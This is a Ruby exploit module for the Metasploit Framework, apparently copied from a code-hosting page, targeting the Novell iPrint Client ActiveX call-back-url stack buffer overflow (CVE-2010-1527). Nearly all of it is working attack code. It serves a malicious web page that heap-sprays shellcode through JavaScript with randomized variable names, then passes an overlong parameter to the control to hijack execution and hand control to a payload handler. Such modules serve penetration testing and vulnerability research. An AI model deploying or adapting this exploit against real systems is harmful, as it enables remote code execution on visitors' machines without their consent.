155 lines
4.9 KiB
Ruby
155 lines
4.9 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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##
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# novelliprint_callbackurl.rb
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#
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# Novell iPrint Client ActiveX Control call-back-url Buffer Overflow exploit for the Metasploit Framework
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#
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# Exploit successfully tested on the following platforms:
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# - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3
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# - Novell iPrint Client 5.42 on Internet Explorer 7, Windows XP SP3
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# - Novell iPrint Client 5.42 on Internet Explorer 7, Windows Vista SP2
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#
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# ienipp.ocx version tested:
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# File Version: 5.4.0.0 and 5.4.2.0
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# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C
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# RegKey Safe for Script: True
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# RegKey Safe for Init: True
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# KillBitSet: False
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#
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# References:
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# - CVE-2010-1527
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# - OSVDB 67411
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# - http://secunia.com/secunia_research/2010-104/ - Original advisory by Carsten Eiram, Secunia Research
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# - http://www.exploit-db.com/exploits/15042/ - MOAUB #19 exploit
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# - http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ - MOAUB #14 binary analysis
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# - http://www.rec-sec.com/2010/09/21/novell-iprint-callbackurl-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
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#
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# Trancer
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# http://www.rec-sec.com
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42.
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When sending an overly long string to the 'call-back-url' parameter in an
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op-client-interface-version action of ienipp.ocx an attacker may be able to
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execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Trancer <mtrancer[at]gmail.com' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-1527' ],
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[ 'OSVDB', '67411'],
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[ 'URL', 'http://secunia.com/secunia_research/2010-104/' ], # Carsten Eiram, Secunia Research
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[ 'URL', 'http://www.exploit-db.com/exploits/15042/' ], # MOAUB #19
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
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],
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'DisclosureDate' => 'Aug 20 2010',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload.
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Setup exploit buffers
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nops = Rex::Text.to_unescape([target.ret].pack('V'))
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ret = [target.ret].pack('V')
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ret = ret * 250
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blocksize = 0x40000
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fillto = 500
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offset = target['Offset']
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# ActiveX parameters
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clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C"
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# Randomize the javascript variable names
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ienipp = rand_text_alpha(rand(100) + 1)
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j_shellcode = rand_text_alpha(rand(100) + 1)
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j_nops = rand_text_alpha(rand(100) + 1)
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j_ret = rand_text_alpha(rand(100) + 1)
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j_headersize = rand_text_alpha(rand(100) + 1)
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j_slackspace = rand_text_alpha(rand(100) + 1)
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j_fillblock = rand_text_alpha(rand(100) + 1)
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j_block = rand_text_alpha(rand(100) + 1)
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j_memory = rand_text_alpha(rand(100) + 1)
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j_counter = rand_text_alpha(rand(30) + 2)
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html = %Q|<html>
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<script>
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var #{j_shellcode} = unescape('#{shellcode}');
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var #{j_nops} = unescape('#{nops}');
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var #{j_headersize} = 20;
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var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
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while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
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var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
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var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
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while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
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var #{j_memory} = new Array();
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for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
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#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
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}
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</script>
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<object classid='clsid:#{clsid}' id='#{ienipp}'>
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<param name='operation' value='op-client-interface-version' />
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<param name='result-type' value='url' />
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<param name='call-back-url' value='#{ret}' />
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</object>
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</html>|
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response(cli, html, { 'Content-Type' => 'text/html' })
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# Handle the payload
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handler(cli)
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end
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end
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